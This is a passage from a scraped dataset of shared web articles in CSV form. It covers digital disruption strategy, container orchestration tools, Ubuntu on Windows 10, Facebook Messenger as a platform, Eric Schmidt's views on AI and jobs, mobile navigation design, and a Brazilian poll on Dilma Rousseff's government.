significantly enhanced value propositions for customers, sometimes through reimagined business systems, and sometimes through hyperscale platforms at the center of entirely new value chains and ecosystems. Attacks may emerge from adjacent markets or from companies with business objectives completely different from your own, so that you become ""collateral damage."" The result can be not only the destruction of sizable profit pools but also the emergence of new control points for value. Established companies relying on existing barriers to entry-such as high physical-infrastructure costs or regulatory protection-will find themselves vulnerable. User demand will change regulations, companies will find collaborative uses for expensive infrastructure, or other mechanisms of disruption will come into play. Companies must understand a number of radical underlying shifts in the forces of supply and demand specific to each industry or ecosystem. The power of branding, for example, is being eroded by the social validation of a new entrant or by consumer scorn for an incumbent. Physical assets can be virtualized, driving the marginal cost of production toward zero. And information is being embedded in products and services, so that they themselves can be redefined. Taken as a whole, these forces blur the boundaries and definitions of industries and make more extreme outcomes a part of the strategic calculus. New and enhanced value propositions As we saw in the top half of our framework, purifying supply and demand means giving customers what they always wanted but in new, more efficient ways. This isn't where the disruptive sequence ends, however. First, as markets evolve, the customers' expectations escalate. Second, companies meet those heightened expectations with new value propositions that give people what they didn't realize they wanted, and do so in ways that defy conventional wisdom about how industries make money. Few people, for example, could have explicitly wished to have the Internet in their pockets-until advanced smartphones presented that possibility. In similar ways, many digital companies have gone beyond improving existing offerings, to provide unprecedented functionality and experiences that customers soon wanted to have. Giving consumers the ability to choose their own songs and bundle their own music had the effect of undistorting demand; enabling people to share that music with everyone via social media was an enhanced proposition consumers never asked for but quickly grew to love once they had it. Many of these new propositions, linking the digital and physical worlds, exploit ubiquitous connectivity and the abundance of data. In fact, many advances in B2B business models rely on things like remote monitoring and machine-to-machine communication to create new ways of delivering value. Philips gives consumers apps as a digital enrichment of its physical-world lighting solutions. Google's Nest improves home thermostats. FedEx gives real-time insights on the progress of deliveries. In this lower-left zone, customers get entirely new value propositions that augment the ones they already had. What are the indicators of potential disruption in this position on the matrix, as companies offer enhanced value propositions to deepen and advance their customers' expectations? You may be vulnerable if any of the following is true: Information or social media could greatly enrich your product or service. You offer a physical product, such as thermostats, that's not yet ""connected."" There's significant lag time between the point when customers purchase your product or service and when they receive it. The customer has to go and get the product-for instance, rental cars and groceries. These factors indicate opportunities for improving the connectivity of physical devices, layering social media on top of products and services, and extending those products and services through digital features, digital or automated distribution approaches, and new delivery and distribution models. Reimagined business systems Delivering these new value propositions in turn requires rethinking, or reimagining, the business systems underlying them. Incumbents that have long focused on perfecting their industry value chains are often stunned to find new entrants introducing completely different ways to make money. Over the decades, for example, hard-drive makers have labored to develop ever more efficient ways to build and sell storage. Then Amazon (among others) came along and transformed storage from a product into a service, Dropbox upped the ante by offering free online storage, and suddenly an entire industry is on shaky ground, with its value structure in upheaval. The forces present in this zone of the framework change how value chains work, enable step-change reductions in both fixed and variable costs, and help turn products into services. These approaches often transform the scalability of cost structures-driving marginal costs toward zero and, in economic terms, flattening the supply curve and shifting it downward. Some incumbents have kept pace effectively. Liberty Mutual developed a self-service mobile app that speeds transactions for customers while lowering its own service and support costs. The New York Times virtualized newspapers to monetize the demand curve for consumers, provide a compelling new user experience, and reduce distribution and production costs. And Walmart and Zara have digitally integrated supply chains that create cheaper but more effective operations. Indicators of disruption in this zone include these: redundant value-chain activities, such as a high number of handovers or repetitive manual work well-entrenched physical distribution or retail networks overall industry margins that are higher than those of other industries High margins invite entry by new participants, while value-chain redundancies set the stage for removing intermediaries and going direct to customers. Digital channels and virtualized services can substitute for or reshape physical and retail networks. Hyperscaling platforms Companies like Apple, Tencent, and Google are blurring traditional industry definitions by spanning product categories and customer segments. Owners of such hyperscale platforms enjoy massive operating leverage from process automation, algorithms, and network effects created by the interactions of hundreds of millions, billions, or more users, customers, and devices. In specific product or service markets, platform owners often have goals that are distinct from those of traditional industry players. Moreover, their operating leverage provides an opportunity to upsell and cross-sell products and services without human intervention, and that in turn provides considerable financial advantages. Amazon's objective in introducing the Kindle was primarily to sell books and Amazon Prime subscriptions, making it much more flexible in pricing than a rival like Sony, whose focus was e-reader revenues. When incumbents fail to plan for potential moves by players outside their own ecosystems, they open themselves up to the fate of camera makers, which became collateral damage in the smartphone revolution. Hyperscale platforms also create new barriers to entry, such as the information barrier created by GE Healthcare's platform, Centricity 360, which allows patients and third parties to collaborate in the cloud. Like Zipcar's auto-sharing service, these platforms harness first-mover and network effects. And by redefining standards, as John Deere has done with agricultural data, a platform forces the rest of an industry to integrate into a new ecosystem built around the platform itself. What are the indicators that hyperscale platforms, and the dynamics they create, could bring disruption to your door? Look for these situations: Existing business models charge customers for information. No single, unified, and integrated set of tools governs interactions between users and suppliers in an industry. The potential for network effects is high. These factors invite platform providers to lock in users and suppliers, in part by offering free access to information. Finding vulnerabilities and opportunities in your business All of these forces and factors come together to provide a comprehensive road map for potential digital disruptions. Executives can use it to take into account everything at once-their own business, supply chain, subindustry, and broader industry, as well as the entire ecosystem and how it interacts with other ecosystems. They can then identify the full spectrum of opportunities and threats, both easily visible and more hidden. Digital's impact on strategy By starting with the supply-and-demand fundamentals, the insurance executives mentioned earlier ended up with a more profound understanding of the nature and magnitude of the digital opportunities and threats that faced them. Since they had recognized some time ago that the cross-subsidies their business depended on would erode as aggregators made prices more and more transparent, they had invested in direct, lower-cost distribution. Beyond those initial moves, the lower half of the framework had them thinking more fundamentally about how car ownership, driving, and customer expectations for insurance would evolve, as well as the types of competitors that would be relevant. It seems natural that customers will expect to buy insurance only for the precise use and location of a car and no longer be content with just a discount for having it garaged. They'll expect a different rate depending on whether they're parking the car in a garage, in a secured parking station, or on a dimly lit street in an unsavory neighborhood. Rather than relying on crude demographics and a driver's history of accidents or offenses, companies will get instant feedback, through telematics, on the quality of driving. In this world, which company has the best access to information about where a car is and how well it is driven, which could help underwrite insurance? An insurance company? A car company? Or is it consumer device makers that might know the driver's heart rate, how much sleep the driver had the previous night, and whether the driver is continually distracted by talking or texting while driving? If value accrues to superior information, car insurers will need to understand who, within and beyond the traditional insurance ecosystem, can gather and profit from the most relevant information. It's a point that can be generalized, of course. All companies, no matter in what industry, will need to look for threats-and opportunities-well beyond boundaries that once seemed secure. Digital disruption can be a frightening game, especially when some of the players are as yet out of view. By subjecting the sources of disruption to systematic analysis solidly based on the fundamentals of supply and demand, executives can better understand the threats they confront in the digital space-and search more proactively for their own opportunities. About the Authors Angus Dawson is a director in McKinsey's Sydney office, Martin Hirt is a director in the Taipei office, and Jay Scanlan is a principal in the London office. The authors would like to thank Chris Bradley, Jacques Bughin, Dilip Wagle, and Chris Wigley for their valuable contributions to this article.",en
1459338700,CONTENT SHARED,6102826385978742696,-8020832670974472349,-324774071008045973,,,,HTML,http://it20.info/2016/03/the-incestuous-relations-among-containers-orchestration-tools/,The incestuous relations among containers orchestration tools,"This is going to be a short and (somewhat) visual blog post where I want to discuss the absolute madness that is going on in ""container land"" (for lack of a better characterization). This time I am going to try to use quotes, tweets, slide screenshots as much as possible and avoid my usual boring text rants. I believe you can draw your own conclusions in the end (but I'll give you a hint). If you thought this previous post of mine was a mess, wait to read watch this. First off I'd like to thank Ken for suggesting a proper title for this post to avoid me sounding like a pervert : Then I'd like to quote what Google's own Kubernetes master Jedi Kelsey Hightower thinks about the container management war that is going on : And yes, we are still in the early days of this gold rush, just in case you were wondering. Last but not least another tweet that nailed it (with a funny joke fact) : Now you may think that the problem we are facing is the proliferation of container management solutions to pick from? You wish it was that easy. It's way worse than what you think: it's getting ""incestuous"". Container management vendors (or projects) are taking an interesting path these days. Instead of trying to position themselves as the best and most viable containers orchestration solution, they are starting to position themselves as the foundational orchestration solution on top of which other container management solutions could run. Yes, you read it right. The containers management industry complexity just got squared! Instead of having to pick among 25 different alternatives, you now have a choice of (25 x 24 =) 600 permutations to choose from! How fun?! But seriously, this is a game being played primarily by the 3 or 4 most visible vendors/projects (namely Docker, Mesos, Kubernetes and CloudFoundry) so the good news is that the permutations are much less than 600. What a pity. Some of them are more ""serious"" than others when it comes to ""I want to run all the other container managers, and make donuts while I am at it"". I say Mesos is king here. They would like to be the center of the universe. A few examples below. They want to run Docker Swarm on top (of Mesos): (slide 23) They want to run Kubernetes on top (of Mesos): (slide 8) They (also) want to run CloudFoundry on top (of Mesos): ""The way CloudFoundry-Mesos works right now-in its very early stages-is to replace the native Cloud Foundry Diego scheduler with a Mesos framework, CloudFoundry-Mesos. Doing this does not affect the user experience or performance of other Cloud Foundry components, but would let Cloud Foundry applications share a cluster with other DCOS services without worrying about resource contention."" ( ) I have just had a shudder. Interestingly, when Docker itself presents at MesosCon they are ok with Docker Swarm being ""boxed and limited"" to one of the many Mesos frameworks: This is a common pattern in the industry these days (and a good filter to use when in doubt). Vendor A and Vendor B overlaps. When Vendor A gets a slot at a Vendor B event, Vendor A concedes Vendor B to ""have control"" (in this case ""having control"" means being the foundational element of the stack). Vice versa when When Vendor B gets a slot at a Vendor A event, Vendor B concedes Vendor A to ""have control"" (if and where applicable of course). For instance, the example above is not what Docker advertise when they are in charge of the message. When they are (in charge of the message) what they say is the exact opposite (that is: Mesos-Marathon on top of Docker Swarm): ""This project contains Docker Compose files used to easily deploy distributed containerized applications. Currently the project contains Docker Compose files for Kubernetes and Mesos-Marathon. The rationale behind this is that Swarm is lightweight enough to deploy additional orchestration tools on top."" ( But it's getting even more complex and sophisticated than that. To the point that Docker is trying to ""steal"" historical Mesos frameworks. See (and read!) this: ( ) Translation: ""Now let's get rid of Mesos entirely and just run Mesos frameworks directly on Docker Swarm!"" I even attempted to build a table to summarize what you could run on what. Warning: it's more of a joke than anything just to point out the level of ridiculous madness we are at. Interestingly, it shows who is leading this confusing ""game"" (i.e. Mesos and Docker) and who is being pulled into this ""game"" (K8s and CloudFoundry). In conclusion, if you are an average person (like me) trying to figure out what's going on, good luck. Please come back in 5 years when (perhaps) the dust has settled a bit. Right now, it's just pure madness that only makes sense to a (limited) bunch of people. What do YOU think? Massimo.",en
1459340708,CONTENT SHARED,809601605585939618,8414731042150985013,457340264983454091,,,,HTML,http://www.zdnet.com/article/microsoft-and-canonical-partner-to-bring-ubuntu-to-windows-10/,​Microsoft and Canonical partner to bring Ubuntu to Windows 10 | ZDNet,"According to sources at Canonical , Ubuntu Linux's parent company, and Microsoft, you'll soon be able to run Ubuntu on Windows 10. This will be more than just running the Bash shell on Windows 10 . After all, thanks to programs such as Cygwin or MSYS utilities , hardcore Unix users have long been able to run the popular Bash command line interface (CLI) on Windows. With this new addition, Ubuntu users will be able to run Ubuntu simultaneously with Windows. This will not be in a virtual machine, but as an integrated part of Windows 10. The details won't be revealed until tomorrow's morning keynote speech at Microsoft Build . It is believed that Ubuntu will run on top of Windows 10's recently and quietly introduced Linux subsystems in a new Windows 10 Redstone build . Microsoft and Canonical will not, however, sources say, be integrating Linux per se into Windows. Instead, Ubuntu will primarily run on a foundation of native Windows libraries. This would indicate that while Microsoft is still hard at work on bringing containers to Windows 10 in project Barcelona , this isn't the path Ubuntu has taken to Windows. Windows 10 at six months: Ready for primetime? Windows 10 has been available to the public for six months this week. By the numbers, it's been a hit, with 200 million active users as of the first of the year. Here's my midterm report. That said, Canonical and Microsoft have been working on bringing containers to Windows since last summer. They've been doing this using LXD . This is an open-source hypervisor designed specifically for use with containers instead of virtual machines (VMs). The fruits of that project are more likely to show up in Azure than Windows 10. It also seems unlikely that Ubuntu will be bringing its Unity interface with it. Instead the focus will be on Bash and other CLI tools, such as make, gawk and grep. Could you run a Linux desktop such as Unity, GNOME, or KDE on it? Probably, but that's not the purpose of this partnership. Canonical and Microsoft are doing this because Ubuntu on Windows' target audience is developers, not desktop users. In particular, as Microsoft and Canonical continue to work more closely together on cloud projects , I expect to find tools that will make it easy for programmers to use Ubuntu to write programs for Ubuntu on the Azure cloud. So is this MS-Linux? No. Is it a major step forward in the integration of Windows and Linux on the developer desktop? Yes, yes it is. Related Stories:",en
1459340748,CONTENT SHARED,8742078838645536785,-1032019229384696495,-1858408872346331823,,,,HTML,http://www.engadget.com/2016/03/29/behind-facebook-messengers-plan-to-be-an-app-platform/,Behind Facebook Messenger's plan to be an app platform,"The question is: Why? Why would you as a user want all this integration? Why not just download Uber and request a car that way? Meanwhile, why would a developer or a business want to bake their services into Messenger? Wouldn't they rather users get their apps instead? Lastly, why does Facebook want to add all of these features anyway, and potentially weigh it down with so many added complications? There are several answers to these questions, but it all starts with a single fact: Messaging is now the number one activity most people do on their smartphones. A Pew Internet study published last year found that fully 97 percent of smartphone owners used text messaging at least once a week. Messaging was also found to be the most frequently used feature, with smartphone owners reporting that they used text messaging within the past hour. Further, 35 percent of smartphone users in the US use some kind of messaging app to communicate. Facebook's own stats confirm that. In the last quarter of 2015 , the company reported 900 million monthly Whatsapp users and 800 million monthly Messenger users. ""We have seen messaging volume more than double in the past year,"" said Frerk-Malte Feller to Engadget. Feller is a Director of Product Management for Facebook who heads up Messenger's business initiatives. ""Businesses want to be where the people are."" This is certainly why Lyft wants to be involved. ""As the heart of so many of our users' day-to-day communications, [Messenger] felt like a natural fit to make getting from place to place as simple as typing 'hello' to a friend,"" a Lyft spokesperson told Engadget. From the user standpoint, having a third-party service like Uber integrated into Messenger bypasses the whole rigmarole of signing up for an account. ""You're already registered on Messenger using your Facebook identity,"" said Feller. ""When you start using a new service, you don't have to fill out all those forms [...] You can just use the identity you have on Messenger."" More importantly, however, it also means one less app to download. Sure, downloading an app sounds like a pretty trivial activity, but it's still an extra step, one which a lot of users are unwilling to take. A recent Nielsen study showed that despite the increased number of apps in both Google Play and Apple's App Store over the past few years, people still generally use the same number of apps -- about 26.7 per month. But while the total number of applications doesn't seem to have increased, the amount of time spent on them has gone up -- about a 63 percent rise in two years. We're not as interested in trying new apps, but the apps we do have, we're using more. This means we're not as interested in trying new apps, but the apps we do have, we're using more. It's a scenario that's ripe for enriching existing apps -- like the heavily used Messenger -- with additional features. As for businesses, it's a chance to increase awareness without having to rely on app downloads. Beyond that, Messenger offers a valuable social component that most existing apps don't have. With the Uber integration, for example, you can message an address to a friend, who can then tap that address to request a car. Alternately, if you're already in an Uber, you can use Messenger to share your location to a friend so he or she can see when you're going to arrive. All of this is on top of the ability for you to directly message the company if you're having any issues. And because this is Messenger and not an email or a phone call, whoever's reading your messages will be able to see past conversations to gain context of the existing message thread. The kinds of interactions are richer too. Spotify's integration, for example, offers a more seamless sharing experience than just copying and pasting a link. ""It's a huge upgrade,"" a Spotify spokesperson told us. ""[It allows] users to deep link into Spotify to consume content."" There is some precedent to all of this. Mobile messaging apps in Asia have been experimenting with these added features for a while now. Line , for example, has billed itself as a ""social entertainment platform,"" and has branched out into offering a music service plus a news feed, both of which are easily accessible from within the main messaging app. It also offers games, much like Messenger is currently doing , and is even going so far as becoming a phone carrier . Of course, adding third-party services is just the beginning; Messenger's ambitions go much deeper. As a recent report from The Information indicates , Facebook's chat app could soon have plenty of other features like calendar syncing, News Feed-style status updates and the ability to directly share quotes from articles. Add the M personal assistant to the equation, and it's easy to imagine a future where Messenger could be the central hub of smartphones everywhere. Perhaps even more so than Facebook itself. There is one potential downside, however, and that's the arrival of advertising . After all, that's Facebook's bread and butter, and it's naturally going to want to slap ads on an app that's getting to be this popular. And with all these business partnerships, it won't be surprising if Facebook ends up allowing companies to spam you with the occasional advertisement, especially if you voluntarily added these integrations yourself. ""The feedback from people in the last 12 months have been strong,"" said Feller. ""It really has all the right attributes and characteristics."" And with F8's annual developer conference coming up next week, we imagine there will be even more to come.",en
1459344753,CONTENT SHARED,-1802980374508081539,-1443636648652872475,8209530310193218854,,,,HTML,http://fortune.com/2016/03/29/eric-schmidt-ai/,Google's Schmidt Says Computers Not a Threat to Humans or Jobs,"You know those movies where the machines take over and the human race gets enslaved by computers? Pure applesauce, says Eric Schmidt, chairman of Google's parent company, Alphabet . We have little to fear from the rapid growth of artificial intelligence, he said at an event at Columbia University in New York on Monday. Fears about computers run amok are the stuff of movies, he argued, and that the technology serves to help people not hurt them - including when it comes to things like income and employment. ""I worry about inequality but there's no evidence the stuff we do creates a permanent underclass,"" said Schmidt, in the course of an interview with Columbia's dean of journalism, Steve Coll. He added that critics have fretted about technology's impact on the job market for decades but that, overall, tech has created ""millions and millions"" of new jobs. The timing of Schmidt's comments was perhaps ironic since, only a week ago, a Google computer drew on its machine learning prowess to defeat the world's top human player in an epic match of the game Go. The computer's 4 games to 1 victory was another milestone for machines, coming five years after IBM's Watson super-computer routed two Jeopardy champions on national TV. Schmidt noted that AI software (which Google and others are making open source ) is serving to automate tasks like sorting photos or even driving a car, but argued that only very low skill, repetitive type work will be affected. He acknowledged this includes some types of journalism jobs, including certain sports reports and corporate earnings stories, but said this trend will be limited. ""Creative jobs and the caring jobs [like health care] are the ones that are robust against everything,"" he said. ""There's no evidence that the world I live in is displacing that."" Beyond the impact of machine learning on the job market, Schmidt also downplayed its military and cyber-war implications. In his view, as the world's computers become more inter-connected, AI may come to serve as a ""defensive shield"" for the global network by identifying and isolating abnormal activities. ""This technology may be very pro-defense. We don't know yet,"" he said, but acknowledged that Google's leaders did worry about AI in the hands of dictators and authoritarian regimes. At a time when hacking is regular front-page news, including a recent cyber-plot against a dam in New York, many in the room did not appear to be reassured by Schmidt's observations. One questioner asked how to avoid the all-controlling computers of the movie Minority Report . In the end, though, Schmidt's most convincing answer might have been the simplest one: It's too difficult. According to Schmidt, AI has made enormous progress in recent years, but has now reached a huge computational roadblock. The upshot is that AI remains very good at solving problems-but only after humans have done the hard work of defining the problem in the first place. This was the case with Google's Go computer, whose game-playing feat took teams of people two years to program. For more about Google, watch: As such, our fears about machines taking over may still be as far away as they were at the time of the 1968 movie, 2001: A Space Odyssey . The villain in the film, by the way, was a computer named HAL whose name was rumored to be based on a big tech company-not Google but another firm with the nearby three-letter acronym of IBM.",en
1459344926,CONTENT SHARED,-6195775145989617417,-709287718034731589,-8526179123269437438,,,,HTML,http://www.lukew.com/ff/entry.asp?1945,LukeW | Obvious Always Wins,"It's tempting to rely on menu controls in order to simplify mobile interface designs -especially on small screens. But hiding critical parts of an application behind these kinds of menus could negatively impact usage. Out of Sight, Out of Mind In an effort to simplify the visual design of the Polar app , we moved from a segmented control menu to a toggle menu. While the toggle menu looked ""cleaner"", engagement plummeted following the change. The root cause? People were no longer moving between the major sections of the app as they were now hidden behind the toggle menu. A similar fate befell the Zeebox app when they transitioned from a tab row for navigating between the major sections of their application to a navigation drawer menu. Critical parts of the app were now out of sight and thereby out of mind. As a result, engagement fell drastically . In Sight, In Mind When critical parts of an application are made more visible, usage of them can increase. Facebook found that not only did engagement go up when they moved from a ""hamburger"" menu to a bottom tab bar in their iOS app, but several other important metrics went up as well. Similarly, Redbooth's move from a hamburger menu to a bottom tab bar resulted in increased sessions and users . Previously out of sight functionality was now front and center. What's Important Enough to Be Visible? Because there's not a lot of space on mobile screens, not everything can be visible in a mobile UI. This makes mobile design challenging. Unlike the desktop where big screens allow us to squeeze in every feature and function on screen, mobile requires us to make decisions: what's important enough to be visible on mobile? Answering that question requires an understanding of what matters to your users and business. In other words, it requires good design.",en
1459344989,CONTENT SHARED,-2176468683077766369,-709287718034731589,-8526179123269437438,,,,HTML,http://techcrunch.com/2013/09/18/facebooks-new-mobile-test-framework-births-bottom-tab-bar-navigation-redesign-for-ios-5-6-7/,"Facebook's New Mobile Test Framework Births Bottom Tab Bar Navigation Redesign For iOS 5, 6, & 7","Facebook lost its ability to ""move fast and break things"" when it switched its apps from HTML5 to native. But it's gotten its mojo back. Today it announced a big iOS 7-style app redesign featuring bottom-screen ""tab bar"" navigation built with an advanced native mobile testing framework. Facebook knew to ditch the pull-out navigation drawer by testing different interfaces in 10 million-user batches. [If you don't see the new Facebook app in the App Store, give it an hour as the rollout seems to be a bit slow] The new version of Facebook for iOS isn't just for iOS 7. It's rolling out to iOS 5 and 6 too, but with a black tab bar for navigation at the bottom of the screen that matches the old iOS style instead of the white tab bar for iOS 7. However, the tab bar won't be coming to Facebook for iPad, as it sees the drawer as still a good fit for bigger screens. For the little ones, the new tab bar delivers a super-charged ""More"" button. It appears on the far right next to one-tap buttons for News Feed, Requests, Messages, and Notifications. More reveals your app bookmarks just like the old drawer did, but will save your place in whatever product you browse. Previously, if you opened your drawer and switched to look at Events or Photos, you'd lose your place in the News Feed or whatever else you were doing. The new More button essentially opens tabs over the top of the feed so your state and context are preserved. It even works between sessions so if you leave Events open in More, your parties will be waiting there at the ready any time you tap More. As for aesthetics, Facebook has also made the top title bar translucent and redesigned many of its icons like the one for messages to match the line and arc style of Apple's new mobile operating system. But Facebook didn't flatten everything, leaving some texture and depth to the feed. You can see video of the redesigned app here. The real story today isn't the app, though, but how it was made. HTML5 Was Slow, But Boy Could It Test Facebook has never been afraid to try new things and see what sticks. It invented the ""Gatekeeper"" system to let it simultaneously test thousands of variations of Facebook on the web with subsets of users. It would collect data about usage and performance to inform what to roll out to everyone. On mobile, it hoped to do the same thing, so it built its iOS and Android apps using a Frankenstein combination of native architecture and HTML5. The latter let it ship code changes and tests to users on the fly without the need for a formal app update. ""With HTML5 we'd ship code every single day and be able to switch it on server-side"", Facebook product manager Michael Sharon tells me. That meant it could push a News Feed redesign one day to 5% of users, then to everyone a week later, and then fix a bug a few days after that. But beyond testing, HTML5 was a disaster. It made Facebook's apps sluggish and unresponsive, which hampered engagement, ad views, and their app store ratings. Users hated Slowbook. Mark Zuckerberg would later say on stage at TechCrunch Disrupt that "" Our biggest mistake as a company...was betting too much on HTML5″. So Facebook ditched HTML5 and rebuilt the apps entirely on native infrastructure last Summer. They were twice as fast. Suddenly their app store ratings shot up, and people read twice as many News Feed stories on average. It was a huge win for Facebook. Except that it had to sacrifice HTML5's testing abilities. ""We Use Testing Kind Of Religiously"" Sharon explains ""One thing we lost was the ability to do testing. We use testing kind of religiously in both the web and HTML5 apps, and this is something we wanted to get back to as much as possible."" Having to wait until its monthly app update cycle came around to test new versions of its apps was torture for the typically nimble company. It wanted to push changes and get immediate feedback. To solve the problem on Android, Facebook launched a beta tester club in June 2013 that let it use Android's more permissive stance towards developers to let power users sign up to play with potential new features and catch bugs. But iOS refuses to sully its simplicity with such beta capabilities. So over the past year Facebook quietly built out a new native mobile app testing framework and sprung it into action in March to build the app update released today. How it works is that when you download Facebook for iOS, the app actually contains multiple different versions of the interface. However, you're grouped with a few hundred thousand other users and you all only see one version of the app. This way Facebook can try out tons of variations all at once, without multiple app updates or any confusion for users. We've all been Guinea pigs in the mobile testing framework since March, but none of us knew it. Sharon was adamant that these different tests aren't half-baked betas, saying ""We're not shipping a subpar version of our app. We're shipping full production-ready versions that could become the main experience"". When added up, Facebook would test major changes with between five and ten million users at a time - more than many apps have in total. ""I wouldn't say we're 'data-driven'. We're 'data-aware' or 'data-informed',"" Sharon says. That means that while Facebook collects a bunch of testing data that sways its decisions, it won't chuck out its intuition or a design it believes in just because the data says so. The first big mission of the new testing framework was rethinking how users navigate on mobile. It wondered if there was something better than the navigation drawer that slides out from the side of the app. It used the new testing framework to experiment with dozens of different interface designs, and compared them on metrics including ""engagement metrics, satisfaction metrics, revenue metrics, speed metrics, perception of speed metrics"" until it found that when looked at holistically, the row of buttons at the bottom of the feed or main screen was the best design. This is what's becoming available for iOS today . And that's how Facebook got its testing groove back.",en
1459345005,CONTENT SHARED,7973573994178035769,-8845298781299428018,3760091107461406486,,,,HTML,http://noticias.uol.com.br/politica/ultimas-noticias/2016/03/30/69-consideram-gestao-de-dilma-ruim-ou-pessima-aponta-pesquisa-ibope.htm,"Governo Dilma é desaprovado por 69% e aprovado por 10%, diz Ibope","Pesquisa Ibope encomendada pela Confederação Nacional da Indústria e divulgada nesta quarta-feira (30) aponta que 69% dos brasileiros avaliam o governo da presidente Dilma Rousseff como ruim ou péssimo. A pesquisa apontou que apenas 10% avaliam o governo como ótimo ou bom e 19% acham que ele é regular. Entre os ouvidos, 1% não soube responder. O levantamento foi realizado entre 17 e 20 de março, com 2.002 pessoas em 143 municípios. A margem de erro da pesquisa é de 2 pontos percentuais para mais ou para menos.",pt
1459345029,CONTENT REMOVED,7973573994178035769,-8845298781299428018,3760091107461406486,,,,HTML,http://noticias.uol.com.br/politica/ultimas-noticias/2016/03/30/69-consideram-gestao-de-dilma-ruim-ou-pessima-aponta-pesquisa-ibope.htm,"Governo Dilma é desaprovado por 69% e aprovado por 10%, diz Ibope","Pesquisa Ibope encomendada pela Confederação Nacional da Indústria e divulgada nesta quarta-feira (30) aponta que 69% dos brasileiros avaliam o governo da presidente Dilma Rousseff como ruim ou péssimo. A pesquisa apontou que apenas 10% avaliam o governo como ótimo ou bom e 19% acham que ele é regular. Entre os ouvidos, 1% não soube responder. O levantamento foi realizado entre 17 e 20 de março, com 2.002 pessoas em 143 municípios. A margem de erro da pesquisa é de 2 pontos percentuais para mais ou para menos.",pt
1459345792,CONTENT SHARED,-1590585250246572231,-709287718034731589,-8526179123269437438,,,,HTML,https://lmjabreu.com/post/why-and-how-to-avoid-hamburger-menus/,Why and How to Avoid Hamburger Menus - Louie A. - Mobile UX Design,"We now have data that suggests Sidebar menus-sometimes called Hamburger Menus/Basements-might be causing more harm than good. Here's some public data: One thing to have in mind is that this is a nuanced issue. I've observed these issues in user testing and others have also gone through the same realization. I only ask you to read the problems, solutions and be aware of the consequences before committing to this pattern. The Problems Lower Discoverability Less Efficient Clash with Platform Navigation Patterns Not Glanceable Lower Discoverability ""what's out of sight, is out of mind."" In its default state, the Sidebar Menu and all of its contents remain hidden. People need to first be able to identify the Sidebar Menu button as actionable - companies are supplementing the menu icon with a 'menu' label or tooltip, and they also have to feel the need to do so - which might not be the case in applications where the main screen offers majority of the value. Less Efficient Even if people are aware and value a feature, this pattern introduces navigation friction since it forces people to first open the menu and only then allowing them to see and reach their objective. Below is a contrasting example of how instant navigation is when the navigation elements are always visible. On top of these issues, in platforms such as iOS, the burger menu simply cannot be implemented without clashing with the standard navigation patterns. The left Navigation Bar Button would need to reserved for the menu button but we also need to allow the person to navigate back. Designers will either commit the mistake pictured above and overload the Navigation Bar - not even leaving space for the screen title, or force people to navigate several screens to get to the menu as seen below: Not Glanceable It's harder to surface information about specific items as they're only visible when and if the person needs to navigate into other sections of the app. You might do it like the Jawbone UP app does: display an icon representing the nature of the notification next to the Sidebar Menu button. This doesn't scale well though as it requires you to maintain more icons and as a designer you might be forced to display a generic notification icon instead reducing its meaning. In contrast, the Tab Bar below-taken from Twitter, lets the user understand the context of the notification and navigate directly to the screen associated with it. Cognition You might feel compelled to use it in order to save screen estate, but that's really a misunderstanding of what people see in reality. While you might think people see everything that's in front of them, we actually tend to have a focus area, even in screens of reduced size . So saving screen estate can be achieved in ways that don't negatively impact navigation or go against basic HCI principles such as providing feedback and displaying state in your application. On a side note: perhaps what we need is to refresh our understanding of HCI, I'm pretty sure that would avoid a lot of design mistakes being done by people who choose to take a visual approach to design. The Solution A lot has been written about the problems but the solution still isn't clear for everybody. When Should I Use It? There might be some very rare occasions where this pattern actually makes sense, but the general rule is to avoid it altogether. IRCCloud is an example where the application of this pattern makes sense in a way - it allows navigation between channels and channel members. This is acceptable because the main screen has no child screens that require a hierarchical navigation stack; media can simply be presented in a modal. But even in this scenario, it's already visible how the UI is being overloaded and needs its IA to be rethought. The channel members Sidebar Menu button (right) takes away the opportunity to display an Actions button instead to house all channel-related actions. Instead, the designers had no other choice but to mix actions from different contexts such as channel, network and account into one single Action Sheet: This will lead us to the next section of this article. What Should I Use Instead? The Sidebar Menu pattern welcomes bad IA because you can simply add one more thing to it without a direct consequence - that is until people actually use it. ""The solution is reviewing your information architecture."" Above is an example of how to move away from a Sidebar Menu. You can follow the color coded dots to understand how the elements transition between these two solutions. Takeaways: State can be directly presented in the Messages tab Items are always visible and one instantly accessible No Navigation Gesture Conflict On top of fixing those big issues, we can still save some vertical space by hiding the Navigation Bar based on the scrolling direction - seen here in Facebook but also implemented in Safari. The persistent Tab Bar is used indicate the current screen, allowing us not to depend on the Navigation Bar to do so. If you're feeling minimal, perhaps a Tool Bar can be enough. The key is not to hide navigation, allow direct access, don't conflict with navigation gestures, and present feedback on the icon it's related to. [ Update ] For websites, I believe it's best to still review the IA but instead of using these iOS patterns, simply display the navigation in the website header as a list - example . As long as it's evident as website navigation, people will still scroll past it and will definitely be immediately exposed to the available options. Also, still talking about websites on mobile: remember to remove the 300ms click delay by following these tips or by using touch events. How does it scale? The examples I'm giving here are based around iOS, and in this situation you'll want to use a Tab or Tool Bar. But how does the Tab Bar scale beyond 5 items? Such situation isn't ideal and it might indicate again an issue with the IA of your app, but if you must expand beyond 5 tabs, a common pattern is to use the last Tab Bar to provide access to the remaining options, similar to a basement menu unfortunately. You might also implement a scrollable Tool Bar as seen in Rookie , this allows you to avoid the issues of the Sidebar Menu, and incur only a slightly higher navigation friction with possibly higher error rates due to need to distinguish between tap and scroll intentions. Have in mind this second solution is more appropriate for actions rather than navigation. Rookie's implementation deals with the indeterminate state its Tool Bar is left in after scrolling, by hiding it after one of the tasks it offers is complete-such as crop, rotate, etc. This prevents the indeterminate state to stick as the Tool Bar is hidden and reset the next time it's displayed. Conclusion So you've read about the problems with the Sidebar Menu pattern, and also the solution in the iOS context which has been there from its inception. Hope this is useful and clear, if you have any comments feel free to ping me on Twitter over at @lmjabreu [ Update ] The feedback on this article has been amazing! Millions of readers and more importantly good conversations on Twitter. I've collated a selection of those tweets using Storify . It seems there's more to say about Android and especially about coming up with a set of navigation patterns for the Web-as the purpose of this icon varies immensely. [ UPDATE - 15/03/2016] Android UI Guidelines now include the Tab Bar as a main navigation component, it's called Bottom Navigation . Other articles and tweets on this topic: @mdo review the IA and simplify the root level, place items in their context, e.g: DMs, Settings on the user profile instead of burger. - Luis Abreu (@lmjabreu) May 14, 2014 @pixeliris iOS: Tab Bar, never side menus as they reduce discoverability & glanceability, add friction. All leading to lower engagement. - Luis Abreu (@lmjabreu) May 14, 2014 ""No one understands the icon, let's add the word menu. The word is too small, let's add a pop-up calling it out."" 